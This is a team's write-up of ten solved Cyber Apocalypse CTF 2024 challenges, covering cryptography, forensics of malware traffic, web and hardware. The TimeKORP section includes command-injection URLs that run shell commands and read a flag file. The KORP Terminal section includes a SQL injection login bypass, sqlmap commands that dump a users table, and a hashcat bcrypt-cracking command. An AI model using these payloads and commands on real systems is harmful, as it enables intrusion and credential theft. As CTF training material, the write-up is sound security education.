Hacker Royale Writeup - Cyber Apocalypse CTF 2024
A public writeup roundup from Cyber Apocalypse CTF 2024 Hacker Royale, covering solved challenges across web, forensics, crypto, misc, and hardware.

This post preserves my original public notes for Hacker Royale Writeup - Cyber Apocalypse CTF 2024. I kept the challenge-by-challenge structure close to the source Markdown and only cleaned up formatting, image paths, and repeated footer text so it reads cleanly on the website.
Hacker Royale Writeup - Cyber Apocalypse CTF 2024

Dive into the gritty details of our Hacker Royale journey in the thrilling Cyber Apocalypse CTF 2024. In this gripping narrative, we unveil our strategic maneuvers and technical prowess that propelled us in the midst of "The Fray," the ultimate battleground of the most astute and ruthless factions, orchestrated by the omnipresent KORP™.

About the Event
The Cyber Apocalypse CTF is more than a contest; it's a narrative-rich challenge where factions fight not just for glory, but to question the status quo. Will you stand amongst the Legionaries, or will you dismantle the very fibers of KORP™'s dominion?
Hacker Royale Journey
Our writeup takes you through the high-adrenaline rush of Hacker Royale, where alliances are formed in whispers, and every challenge is a dance with digital death. As the Phreaks' alarm blares, we navigate through the societal gauntlet, elucidating our every step, hack, and tactical decision.
Hacking Content
Our writeup includes a comprehensive breakdown of over 50 challenges, categorized into Web, Crypto, Reversing, Pwn, Forensics, and Hardware. Each solved puzzle is a story of its own, replete with cunning, skill, and sometimes, a stroke of genius.
Conclusion
As the dust settles on the virtual battlegrounds of Hacker Royale, our team at KPMG Thailand emerged with a tale of digital valiance.
Pwned flags: 10
- Forensic 3 challenges
- It Has Begun - Very Easy
- Fake Boost - Easy
- Data Siege - Medium
- Web 3 challenges
- TimeKORP - Very Easy
- Flag Command - Very Easy
- KORP Terminal - Very Easy
- Crypto 2 challenges
- Primary Knowledge - Very Easy
- Blunt - Easy
- Misc 1 challenges
- Stop Drop and Roll - Very Easy
- Hardware 1 challenges
- BunnyPass - Very Easy
Our rank: 227th. With 10,525 points to our name, we tackled 35 out of 67 challenges, each representing a milestone in our relentless pursuit of cybersecurity excellence. After pwned another flag, bringing our total to 10, I gave one flag to my friend, keeping our count at 9.

Blunt
Description
Valuing your life, you evade the other parties as much as you can, forsaking the piles of weaponry and the vantage points in favour of the depths of the jungle. As you jump through the trees and evade the traps lining the forest floor, a glint of metal catches your eye. Cautious, you creep around, careful not to trigger any sensors. Lying there is a knife - damaged and blunt, but a knife nonetheless. You’re not helpless any more.

Introduction
The challenge unraveled a cryptic tale involving the Diffie-Hellman key exchange, a ceremony where two entities conjure a shared secret without ever exchanging the secret itself. The sage script provided to participants utilized this arcane ritual to encrypt a message — the FLAG — with AES in CBC mode, leaving behind only the prime p, the generator g, and the magical numbers A and B, along with a ciphertext and an initialization vector (IV).
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256
from secret import FLAG
import random
p = getPrime(32)
print(f'p = 0x{p:x}')
g = random.randint(1, p-1)
print(f'g = 0x{g:x}')
a = random.randint(1, p-1)
b = random.randint(1, p-1)
A, B = pow(g, a, p), pow(g, b, p)
print(f'A = 0x{A:x}')
print(f'B = 0x{B:x}')
C = pow(A, b, p)
assert C == pow(B, a, p)
# now use it as shared secret
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print(f'ciphertext = {encrypted}')

The output.txt
Algorithm
Baby-Step Giant-Step algorithm, known in discrete logarithms within polynomial time, provided a hope in the mystery of B and discovering the elusive exponent b. (https://github.com/ashutosh1206/Crypton/blob/master/Discrete-Logarithm-Problem/Algo-Baby-Step-Giant-Step/README.md)

The Solution
Implementing the Baby-Step Giant-Step algorithm revealed the exponent b, a critical piece in the puzzle. With b in hand, the shared secret C was summoned using the powers of A and b within the prime confines of p. This secret, once a mere whisper in the wind, was then transformed through the alchemy of SHA-256 into a key, unlocking the ancient AES encryption.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
import math
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
def baby_step_giant_step(g, B, p):
n = math.isqrt(p) + 1
baby_steps = {pow(g, i, p): i for i in range(n)}
g_inv = pow(g, -n, p)
current = B
for j in range(n):
if current in baby_steps:
return j * n + baby_steps[current]
current = (current * g_inv) % p
return None
b = baby_step_giant_step(g, B, p)
if b is not None:
C = pow(A, b, p)
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), 16)
print(decrypted.decode())
else:
print("Failed to find b")
- Imports cryptographic and mathematical libraries: Utilizes
Crypto.Cipherfor AES encryption,Crypto.Util.Paddingfor padding related functions,Crypto.Util.numberfor number conversions,hashlibfor SHA-256 hashing, andmathfor mathematical operations. - Initial values setup: Defines the prime
p, generatorg, public valuesAandB, the ciphertext, and the initialization vector (IV) used for AES decryption. - Baby-Step Giant-Step algorithm: Implements this algorithm to solve for
b, the discrete logarithm problem of finding the exponent giveng,B, andp. This is necessary becausebis not directly provided but is crucial for deriving the shared secretC.- Setup a dictionary of baby steps: For integers up to the square root of
p, calculateg^i mod pand store in a dictionary. - Use the giant step: Calculate inverses of
graised to multiples of the square root ofpand check against the baby steps to findb.
- Setup a dictionary of baby steps: For integers up to the square root of
- Calculates the shared secret
C: Uses the found value ofbto compute the shared secret by calculatingA^b mod p. - Derives the AES key: Hashes the shared secret
Cusing SHA-256 and takes the first 16 bytes of the hash as the AES key. - Decrypts the ciphertext: Uses AES in CBC mode with the derived key and the given IV to decrypt the ciphertext. The result is unpadded to remove padding added during encryption.
- Outputs the decrypted message: If
bis successfully found and the decryption proceeds, prints the decrypted plaintext. Ifbcannot be found, prints a failure message.
Flag

BunnyPass
Description
As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.

Introduction
This writeup chronicles the journey of exploiting a default-configured RabbitMQ instance encountered within the network of "The Fray's" production factory, revealing a critical vulnerability in their infrastructure.

Login
Start by logging into the RabbitMQ dashboard using the default credentials:
Username = admin and Password = admin

Dashboard Investigation
Upon entry, the dashboard was meticulously examined, particularly focusing on the administrative section to confirm the 'admin' user's privileges and roles.


Queue Discovery
The exploration led to the discovery of several queues, among which an 'factory_idle' queue caught attention. This queue was earmarked for further scrutiny.

Message Retrieval
A function labeled 'get messages' within the queue's options was identified as a potential weak point. By adjusting the message acknowledgment setting to 'Nack' (Negative Acknowledgment) and repeating the action several times, it was possible to coerce the system into revealing its stored messages.

Flag
This methodical exploitation eventually led to the unveiling of the messages hidden within the queue, culminating in the capture of the coveted flag.

HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}
Data Siege
Description
"It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts."

Introduction
The investigation kicked off by diving into a capture.pcap file through Wireshark. This step was critical for breaking down the network's exported objects and communications.

Deciphering Conversations

In the web of TCP streams, one conversation stood out due to its encryption methods - a blend of AES and base64. This interaction suggested that hidden messages were waiting to be uncovered.

The use of Burp Suite to decode the base64 segments led to an exciting find: readable text revealing the third part of a flag.

Exported Objects Analysis
A deeper look into the HTTP exported objects unearthed three significant files.

Among these, two instances of "nBISC4YJKs7j4I.xml" pointed towards the "aQ4caZ.exe" file.

Decrypting the Code

Decompiling the "aQ4caZ.exe" file with dnSpy was the next step, which exposed the encryption key.

Further exploration of the code revealed a decryption function with a hard-coded salt value.

This discovery paved the way to rewrite the decryption function in Python, using the uncovered key.
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
import base64
def decrypt(cipher_text, encrypt_key):
try:
salt = bytes([86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83])
key_iv = PBKDF2(encrypt_key, salt, dkLen=48, count=1000)
key = key_iv[:32]
iv = key_iv[32:48]
cipher_data = base64.b64decode(cipher_text)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(cipher_data), AES.block_size)
return decrypted.decode('utf-8')
except Exception as e:
print(f"Error during decryption: {e}")
return "error"
encrypt_key = "VYAemVeO3zUDTL6N62kVA"
cipher_text = "zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg"
print(decrypt(cipher_text, encrypt_key))
- Import Necessary Modules: It starts by importing the necessary modules from the
pycryptodomelibrary, which provides cryptographic operations like AES encryption and decryption, padding mechanisms, and key derivation functions. - Define the
decryptfunction: This function is responsible for decrypting a given piece of cipher text using a specified encryption key.- Salt: A predefined salt (
salt = bytes([...])) is used, which is essential in the key derivation process to produce a unique key based on the encryption key and salt. - Key Derivation: It uses the
PBKDF2(Password-Based Key Derivation Function 2) algorithm to derive a 48-byte key and initialization vector (IV) from the encryption key and salt. ThedkLen=48specifies the desired length of the derived key, andcount=1000specifies the iteration count, affecting the computation time and security level. - Key and IV: The first 32 bytes of the derived data are used as the AES key, and the next 16 bytes are used as the IV for the CBC mode.
- Base64 Decoding: The cipher text, assumed to be base64 encoded, is decoded back into its original binary form before decryption.
- Decryption: An AES cipher is created using the derived key and IV, and the cipher text is decrypted. The
unpadfunction is then used to remove any padding added to the message during encryption, ensuring the plaintext is restored to its original form. - Decoding: The decrypted data is assumed to be UTF-8 encoded and is decoded back into a string.
- Error Handling: The function includes error handling to catch and report any issues that occur during the decryption process.
- Salt: A predefined salt (
Flag
With the decryption function ready, applying it to the previously found encrypted communications was the final hurdle. This effort was rewarded with the discovery of the first and second parts of the flag, piecing together the puzzle.

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
Fake Boost
Description
In the shadow of The Fray, a new test called ""Fake Boost"" whispers promises of free Discord Nitro perks. It's a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

I gave this flag to my friend
Introduction
After downloading a capture.pcapng file and opening it with Wireshark, the focus was to examine the exported objects within this network communication.

This exploration led to the discovery of three distinct files.

Discovery of Files

freediscordnitro: This file was full of base64 characters, which initially seemed undecodable. Opting to move forward, it was set aside for later examination.

rj1893rj1joijdkajwda: Enclosed within this file were characters that appeared to be decode with base 64 and encrypted with AES.

rj1893rj1joijdkajwda(1): Merely containing the text "OK," it didn't present anything of immediate interest.

Decoding Attempts and Successes
Persisting with the freediscordnitro file, a breakthrough was achieved by reversing the base64 text before attempting to decode it again.


Utilizing Burp Suite for the decoding process unveiled it as an AES encryption code alongside a Free Discord Nitro 2024 offer, which also included a part of the flag encoded in base64.

Decoding this base64 text revealed the first segment of the flag.

Unlocking the AES-Encrypted File
Further analysis led to the discovery of the AES key.

The next step involved decoding the contents of the rj1893rj1joijdkajwda file from base64, followed by decrypting the text using the AES key.
from Crypto.Cipher import AES
from base64 import b64decode
aes_key_b64 = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
aes_key = b64decode(aes_key_b64)
encrypted_data_b64 = "bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA=="
encrypted_data = b64decode(encrypted_data_b64)
ciphertext = encrypted_data[16:]
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)
try:
decrypted_text = decrypted_data.decode().rstrip('\x0c\x0b\x0a\x09\x08\x07\x06\x05\x04\x03\x02\x01')
print(decrypted_text)
except Exception as e:
print("Error decoding the decrypted data:", e)
- Import AES Cipher and base64 Decoding: The script begins by importing the necessary components for AES decryption from the
Crypto.Ciphermodule and base64 decoding functionality. - Decode AES Key: It decodes the AES key from base64 format to bytes, making it usable for decryption.
- Decode Encrypted Data: Similarly, the encrypted data is also base64 decoded back into its original binary format.
- Extract IV and Ciphertext: The initial vector (IV) is assumed to be the first 16 bytes of the encrypted data, with the remainder being the actual ciphertext. This IV is used to ensure that the encryption of similar plaintext blocks results in different ciphertexts.
- Initialize AES Cipher: An AES cipher object is created with the decoded AES key, set to use CBC (Cipher Block Chaining) mode, and initialized with the extracted IV.
- Decrypt Data: The ciphertext is decrypted using the initialized cipher, resulting in the original plaintext but potentially with added padding.
- Decode and Clean Decrypted Data: Attempts to decode the decrypted data into a readable string format. It removes padding manually by stripping specific padding bytes (
\x0c,\x0b,\x0a, etc.) from the end of the plaintext. This manual approach to padding removal is not standard and assumes a specific padding pattern that may not apply to all encryption scenarios. - Error Handling: If decoding fails (e.g., due to incorrect padding or encoding issues), it catches the exception and prints an error message.
This decryption process unearthed details including an ID, Email, GlobalName, and Token.

Flag
Focusing on the EMAIL and decoding it resulted in uncovering the second part of the flag.

_HTB{fr33_N17r0G3n_3xp053d!b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
Flag Command
Description
Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

Introduction
The Flag Command website, at first glance, offers a straightforward user interface. However, a deeper dive into its structure and codebase reveals hidden functionalities that, when exploited, allow bypassing intended game mechanics to directly achieve the objective.

Discovery and Analysis
The initial phase involved a meticulous inspection of the website, particularly focusing on the client-side assets. The main.js file, a significant part of the client-side code, hinted at an intriguing endpoint: /api/monitor, and a mysterious mention of "secret" options available through another endpoint, /api/options.

Intrigued by the possibility of hidden functionalities, the exploration continued to the /api/options endpoint.

Secret Command
Navigating to IP:PORT/api/options, the response was a JSON object containing various parameters and values. Among these was a particularly standout entry labeled "secret". The secret command was revealed to be: "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack".

Exploiting the Vulnerability
The next step involved intercepting and manipulating the game's requests.

By injecting the discovered secret command as an input, the expectation was that the application would behave in a manner not anticipated by its regular game flow.
Flag

HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk}
It Has Begun
Description
The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.

Introduction
We began by analyzing a shell script associated with "KORP-STATION-013." This script was designed to terminate certain processes and set up a connection for future use, indicating the start of covert operations.

Discovery
An interesting part of the script was an echo command that added an SSH key to a file. This key contained a string that seemed out of place. By reversing this string, we found the first part of a hidden message within the SSH key.

Deep Dive
Further inspection of the script revealed an encoded message intended for the crontab, a scheduler in Unix systems.

Decoding this base64-encoded string gave us the second piece of the puzzle, revealing the final part of the message.
Flag

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
KORP Terminal
Description
Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

Introduction
This write-up documents a profound security analysis of a web application that exhibited a classic SQL Injection vulnerability.

Discovery of the Vulnerability
The initial suspicion of a SQLi vulnerability arose when inputting crafted strings into the login form:
Username = ad'||'min'-- and Password = 1

This input effectively bypassed the authentication process, indicating that the application improperly sanitizes user input, making it susceptible to SQL Injection.

Exploitation and Analysis
To further exploit this vulnerability, we utilized sqlmap, a powerful tool for automating the detection and exploitation of SQL Injection flaws. The command executed was as follows:
sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401

SQLi vulnerability
Database Enumeration
With the vulnerability confirmed, the next step involved enumerating the databases accessible through the injection point:
sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 --dbs --batch

korp_terminal Database
Table Enumeration
To delve deeper into the korp_terminal database, we enumerated its tables:
sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 -D korp_terminal --tables --batch

users table
Data Extraction
Focusing on the users table, we extracted its contents:
sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 -D korp_terminal -T users --dump --batch

Password Cracking
With the hashed passwords extracted, the final step involved cracking these hashes to reveal plaintext passwords. For this, hashcat was employed:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
- -m 3200 (bcrypt $2*$, Blowfish (Unix))
- /usr/share/wordlists/rockyou.txt (wordlist)

password123
I proceeded to log in to the web application using the credentials obtained:
Username = admin and Password = password123
This action granted me unauthorized access to the admin panel, where I was able to retrieve the coveted flag, marking the culmination of a successful exploitation process.
Flag

HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}
Primary Knowledge
Description
Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

Introduction
The script, elegant in its simplicity, was designed to encrypt a message — the FLAG — using the RSA encryption algorithm. The cornerstone of RSA is the product of two prime numbers to form n, a crucial part of the public key. However, this script deviated from the established path.
import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)
with open('output.txt', 'w') as f:
f.write(f'{n = }\n')
f.write(f'{e = }\n')
f.write(f'{c = }\n')

This is a output.txt
The Revelation
Thanks P'North at KPMG Thailand for give me a hints, a helpful on Stack Exchange(https://math.stackexchange.com/questions/1077411/textbook-rsa-game-with-one-prime)
It became clear that the encryption used only one prime instead of two. This was not the unassailable RSA known to many but a variant weaker by design or mistake. With only one prime to contend with, the decryption became a matter not of factoring but of taking roots.

The Decryption
The script to decrypt was simple: calculate the e root of c modulo n. Since n was prime, the modulo operation was straightforward, and the root revealed itself as the clear text of the flag.
import sympy
e = 0x10001
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
phi_n = n - 1
d = sympy.mod_inverse(e, phi_n)
m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
print(flag.decode())
- Importing sympy: The code starts by importing the
sympylibrary, which provides tools for symbolic mathematics in Python, including functions relevant to number theory. - Given values: The encryption exponent
e, the ciphertextc, and the modulusnare provided. These are typically part of the public key in RSA, withnbeing the product of two primes (which should be the case but isn't here due to a mistake). - Calculation of
d: The script calculates the private exponentdby finding the modular multiplicative inverse ofemodulophi(n), wherephi(n)is the Euler's totient ofn. Since thenin the script is prime,phi(n)is simplyn - 1. - Decryption of the message: The script then decrypts the ciphertext
cby raising it to the power ofdmodulon, which is the standard decryption process in RSA. - Conversion to bytes: The decrypted message
mis then converted from a number to a sequence of bytes, which is supposed to be the original plaintext message. - Decoding and printing: Finally, the byte sequence is decoded from its byte representation into a human-readable string, which is printed out. This decoded string is expected to be the flag that was encrypted.
Flag

Stop Drop and Roll
Description
The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...

Introduction
In the realm of cyber competitions, challenges often simulate realistic scenarios requiring quick thinking and automation skills. "THE FRAY: THE VIDEO GAME" challenge was an exemplary test of such skills, where participants had to interact with a remote service to prove their mettle. The game provided scenarios requiring precise responses to conquer the virtual "GAUNTLET".
Challenge Breakdown
Upon connecting to the service via netcat, the game described three distinct scenarios — GORGE, PHREAK, or FIRE. Each scenario necessitated a specific response:
- GORGE required the participant to respond with STOP.
- PHREAK necessitated a ROLL response.
- FIRE called for the DROP response.
The twist came with combined scenarios, where multiple commands had to be sent back in sequence.

Solution Strategy
To tackle this challenge efficiently, manual interaction was not practical. Thus, a Python script was developed to automate the communication with the service. The script's algorithm was straightforward but effective:
- Connect to the remote service using the socket library.
- Listen for the challenge's prompt.
- Parse the received message and determine the appropriate response based on the rules.
- Send the response back to the server.
- Repeat the process until the server sent the flag, signaling the challenge's completion.
import socket
import re
def main():
host = "83.136.254.16"
port = 30311
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.settimeout(2)
def send_message(message):
print(f"Sending: {message}")
s.sendall(message.encode() + b"\n")
def receive_until_prompt(prompt="Are you ready? (y/n)"):
received_data = ""
while True:
try:
data = s.recv(1024).decode()
if not data:
break
received_data += data
if "HTB{" in received_data:
print("Flag detected, stopping:", received_data)
return "STOP"
if prompt in received_data:
break
except socket.timeout:
break
print("Received:", received_data)
return received_data
receive_until_prompt()
send_message("y")
while True:
game_data = receive_until_prompt("What do you do?")
if game_data == "STOP":
print("Flag found, exiting...")
break
if "What do you do?" in game_data:
scenarios = re.findall(r'(GORGE|PHREAK|FIRE)', game_data)
responses = {'GORGE': 'STOP', 'PHREAK': 'DROP', 'FIRE': 'ROLL'}
response = '-'.join([responses[scenario] for scenario in scenarios])
send_message(response)
if __name__ == "__main__":
main()
Flag
Through the use of Python for automation, the responses were sent accurately and swiftly, satisfying the conditions set forth by the game.

HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}
TimeKORP
Description
Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

Introduction
In this exploration, we delve into a security analysis of the TimeKORP website.

Discovery of the Vulnerability
The investigation began with a thorough exploration of the website's functionalities. A peculiar parameter, format, caught our attention, hinting at the server's processing of date formats. Initial attempts to manipulate this parameter were unfruitful until a breakthrough was achieved with the following request:
http://IP:PORT/?format=%Y-%m-%d%27$(whoami)%27
This request, surprisingly, returned the current user of the web server, indicating a severe command injection vulnerability. This type of vulnerability allows an attacker to execute arbitrary commands on the server, which can lead to unauthorized access to sensitive data, system compromise, and more.

Exploiting the Vulnerability
Leveraging this vulnerability, we aimed to escalate our exploration to access sensitive data stored on the server. The next logical step was to identify and retrieve the so-called "flag," a common objective in cybersecurity challenges representing sensitive or secret information.

Given our ability to inject commands, we crafted the following request to attempt to read the contents of a file suspected to contain the flag:
http://IP:PORT/?format=%Y-%m-%d%27$(cat ../flag)%27
Flag

HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}